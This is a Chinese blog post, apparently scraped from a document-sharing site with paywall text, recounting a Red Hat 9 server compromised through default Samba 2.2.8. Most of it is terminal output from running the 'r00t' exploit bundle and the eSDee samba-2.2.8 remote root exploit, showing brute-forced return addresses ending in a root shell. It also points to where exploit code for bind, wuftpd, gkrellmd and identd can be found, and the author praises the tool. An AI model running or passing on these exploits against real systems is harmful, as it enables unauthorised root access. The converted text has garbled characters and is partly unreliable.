xnix下溢出获取root的感想网站安全电脑资料.doc

会员专享推荐 · 你可能也用得上更多

开通会员，畅读全站文档

本篇文档已为你保留

本篇文档价值 ~~¥35.00~~会员免费解锁

全文不限次阅读，剩余内容即刻解锁
高速下载通道，免排队、无等待
专属客服 1 对 1 答疑，优先响应
每日赠送下载券，本篇文档免费送

有 86 篇商业计划书正在上传

下载原文档

xnix下溢出获取root的感想网站平安电脑资料今天看到篇文章：《默认Samba版本在RedHat 9上的溢出获取root演示》从近日对被黑效劳器的平安分析来看，我找到该用户提升权限的工具，这几天效劳器因为要放到公网测试，此时又安装了Samba效劳器。结果第二天就发现了效劳器被黑Samba是在Redhat Linux 9上默认的版本。使用了该的强大的exploit工具提升为了root。提升为root，只需要短短的3秒钟自己汗一个从效劳器的tmp查找到一个x2k3的目录[bob@learnin9 tmp]$cd x2k3/[bob@learnin9 x2k3]$ls bind ftp gkr identd r00t samba[bob@learnin9 x2k3]$bind ftp gkr identd samba均为目录，r00t为一个程序，让我们来看看r00t程序的执行情况[bob@learnin9 x2k3]$./r00t.--------------------------------.|x2k3/|Written by Natok/+------------------------+----.|Targets:[1]Samba|<=2.2.8|[2]Bind|8.3.2/8.3.3/9.2.1|[3]gkrellmd|<2.1.12|[4]wuftpd|<=2.6.1|[5]identd|1.2+------------------------+----.|.natok.de/|/./r00t[bob@learnin9 x2k3]$./r00t 127.0.0.1 1 Range to scan:127.0.0.0 Socket Connecting to port:139 Press control+c for skipping!Port 139 IP 127.0.0.0->Connection refused!Port 139 IP 127.0.0.1->Connection ok![+]Let’s sploit;-)samba-2.2.8<remote root exploit by eSDee(.ric|be)--------------------------------------------------------------+Verbose mode.+Bruteforce mode.(Linux)+Host is running samba.+Using ret:[0xbffffed4]+Using ret:[0xbffffda8]+Using ret:[0xbffffc7c]+Using ret:[0xbffffb50]+Using ret:[0xbffffa24]+Using ret:[0xbffff8f8]+Using ret:[0xbffff7]+Using ret:[0xbffff6a0]+Using ret:[0xbffff574]+Using ret:[0xbffff448]+Using ret:[0xbffff31c]+Using ret:[0xbffff1f0]+Using ret:[0xbffff0c4]+Using ret:[0xbfffef98]+Using ret:[0xbfffee6c]+Using ret:[0xbfffed40]+Using ret:[0xbfffec14]+Using ret:[0xbfffeae8]+Using ret:[0xbfffe9bc]+Using ret:[0xbfffe890]+Using ret:[0xbfffe764]+Using ret:[0xbfffe638]+Using ret:[0xbfffe50c]+Using ret:[0xbfffe3e0]+Using ret:[0xbfffe2b4]+Using ret:[0xbfffe188]+Worked!--------------------------------------------------------------***JE MOET JE MUIL HOUWE Linux learnin9 2.4.20-8#1 Thu Mar 13 17:54:28 EST xx i686 i686 i386 GNU/Linux uid=0(root)gid=0(root)groups=99(nobody)id uid=0(root)gid=0(root)groups=99(nobody)看到了吧，我这只是localhost方式，其实远程也是一样的直接获取为root了。请各位好好看看自己的Redhat 9吧。rpm-qa|grep*****是不是汗已经出来了？还有bind gkrellmd wuftpd identd这些溢出程序。我不知道这些程序是否就是属于界一些没有公布出来的溢出程序。呵呵！我的效劳器因为没有启动Bind、gkrellmd、wuftpd、identd，只启动了默认安装的samba，而且还是在公网上，所以那个就中奖入侵到我的效劳器了。可喜可贺，我也是终于找到了这么好的工具。自己欢喜一下。去看了一下.natok.de/居然发现是中文的网站，究竟里面是谁？很好奇.........可以说，r00t程序是Natok写的，但是exploit程序不是他写的，他只是将其它的溢出程序分门别类的。做了个友好的界面，不过能搜集到还是很强的。希望能结识到这个家伙！以上文章中提到的程序是natok写的，但是exp不是他的，只是他收集的基础上集合了下而已。翻翻我的东东发现这个samba溢出的代码俺也有是下面这个：[vitter@Intel vitter]$./sambal-v-b 0-t 21 172.16.37.245 samba-2.2.8<remote root exploit by eSDee(.ric|be)--------------------------------------------------------------+Verbose mode.+Bruteforce mode.(Linux)+Host is running samba.+Using ret:[0xbffffed4]+Using ret:[0xbffffda8]+Using ret:[0xbffffc7c]+Using ret:[0xbffffb50]+Using ret:[0xbffffa24]+Using ret:[0xbffff8f8]+Using ret:[0xbffff7]+Using ret:[0xbffff6a0]+Using ret:[0xbffff574]+Using ret:[0xbffff448]+Using ret:[0xbffff31c]+Using ret:[0xbffff1f0]+Using ret:[0xbffff0c4]+Using ret:[0xbfffef98]+Using ret:[0xbfffee6c]+Using ret:[0xbfffed40]+Using ret:[0xbfffec14]+Using ret:[0xbfffeae8]+Using ret:[0xbfffe9bc]+Using ret:[0xbfffe890]+Using ret:[0xbfffe764]+Using ret:[0xbfffe638]+Using ret:[0xbfffe50c]+Using ret:[0xbfffe3e0]+Using ret:[0xbfffe2b4]+Using ret:[0xbfffe188]+Using ret:[0xbfffe05c]+Using ret:[0xbfffdf30]+Using ret:[0xbfffde04]+Using ret:[0xbfffdcd8]+Using ret:[0xbfffdbac]+Using ret:[0xbfffda80]+Using ret:[0xbfffd954]+Worked!--------------------------------------------------------------***JE MOET JE MUIL HOUWE Linux Intel 2.4.20-8#2 Thu Jul 17 14:07:36 CST xx i686 i686 i386 GNU/Linux uid=0(root)gid=0(root)groups=99(nobody)id uid=0(root)gid=0(root)groups=99(nobody)另外几个找了找大局部有，只是bind这个没有，有空找找看。具体的放出来：samba的：.vfocus./art/xx0201/1498.html wuftpd的：.vfocus./art/xx0201/1499.html GKrellM的：.vfocus./art/xx0201/1500.html identd的：.vfocus./art/xx0201/1501.html bind的搜集到的bindexp.zip模板,内容仅供参考。